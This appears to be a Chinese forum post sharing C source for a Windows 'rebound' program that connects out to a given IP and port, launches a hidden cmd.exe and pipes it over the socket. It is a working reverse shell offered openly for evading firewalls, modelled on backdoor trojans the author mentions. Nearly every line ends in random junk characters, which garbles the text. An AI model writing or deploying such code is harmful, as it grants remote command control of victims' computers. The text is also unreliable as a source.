这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1;S?9N_B
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/* ============================== esBv,b?*
Rebound port in Windows NT !o?&{"#+
By wind,2006/7 PLz+%L;{
===============================*/ 4u%AZ<-C}m
#include z[<Na3]
#include ;|?_C8
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#pragma comment(lib,"wsock32.lib") m;{HlDez
F!u)8>s+z{
void OutputShell(); T$R#d&t
SOCKET sClient; %W7%] Z@j
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zx2`0%Q
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void main(int argc,char **argv) h4 9q(085V
{ YsVKdh
WSADATA stWsaData; AA=rjB9
int nRet; Et(H6O8
SOCKADDR_IN stSaiClient,stSaiServer; \$DBtq5=
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if(argc != 3) $ ~%Y}Xt*
{ Q%?%zuU
printf("Useage:\n\rRebound DestIP DestPort\n"); LiQH!yHW
return; \ctzv``/n
} YlG#sBzl
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WSAStartup(MAKEWORD(2,2),&stWsaData); /<$|tp\Rc
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e],(d7 Jo
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stSaiClient.sin_family = AF_INET; <bg6k . s
stSaiClient.sin_port = htons(0); rKslgZhQ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kJO Z;X=9/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `RE>gX
{ qk3~]</
printf("Bind Socket Failed!\n"); er1XZ
return; piIz ff
} K8BlEF`
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stSaiServer.sin_family = AF_INET; :R:@V#Y
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P{`fav
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -@#],s7
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,Fkq/h
{ %P<fz1
printf("Connect Error!"); %'e$N9zd
return; B= E/|J</
} AT3HHQD
OutputShell(); OiZ-y7;k^
} *9=}f;~
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void OutputShell() pG)dF@
{ :]Om4Q\-#
char szBuff[1024]; s!D2s2b9e
SECURITY_ATTRIBUTES stSecurityAttributes; s Iaehe'B
OSVERSIONINFO stOsversionInfo; yW7>5r
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; w?nSQBz$
STARTUPINFO stStartupInfo; qyKR]%yzi
char *szShell; xnWezO_
PROCESS_INFORMATION stProcessInformation; [`tNa Vg
unsigned long lBytesRead; +/mCYI
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `uusUw-Gf
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2Y[n
stSecurityAttributes.lpSecurityDescriptor = 0; p}gA8o
stSecurityAttributes.bInheritHandle = TRUE; x]%,?Vd?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Tl-%;X<X
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R! X+-
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); })uyq_nz
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UM21Cfqex
stStartupInfo.wShowWindow = SW_HIDE; A8S9HXL
stStartupInfo.hStdInput = hReadPipe; 0/7.RpX,.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bi@'m?XwJ
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GetVersionEx(&stOsversionInfo); Q/j#Pst
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switch(stOsversionInfo.dwPlatformId) {]m/15/$C
{ 7aPA+gA/
case 1: NzM ,0q
szShell = "command.com"; yqtHlz%
break; J#3[,~
default: QpoC-4F
szShell = "cmd.exe"; U-,s/VQ?
break; ;Kg7}4`I
} @PQd6%@
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r5(efTgAd+
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send(sClient,szMsg,77,0); gCVOm-*:
while(1) o:4#AkS
{ zq ?xY`E
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); cdSgb3B0
if(lBytesRead) Up_"qD6
{ M&9urOa`
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); WW^+X~Y
send(sClient,szBuff,lBytesRead,0); \&Bdi6xAy
} MTNC{:Q
else fuF{8-ua
{ ,i;#e
lBytesRead=recv(sClient,szBuff,1024,0); @*UV|$~(Q
if(lBytesRead<=0) break; Z^_zcH'
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vO/ 3bu}
} # Oq.}x?i
} n:1Ijh
1
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return; AA=eWg
}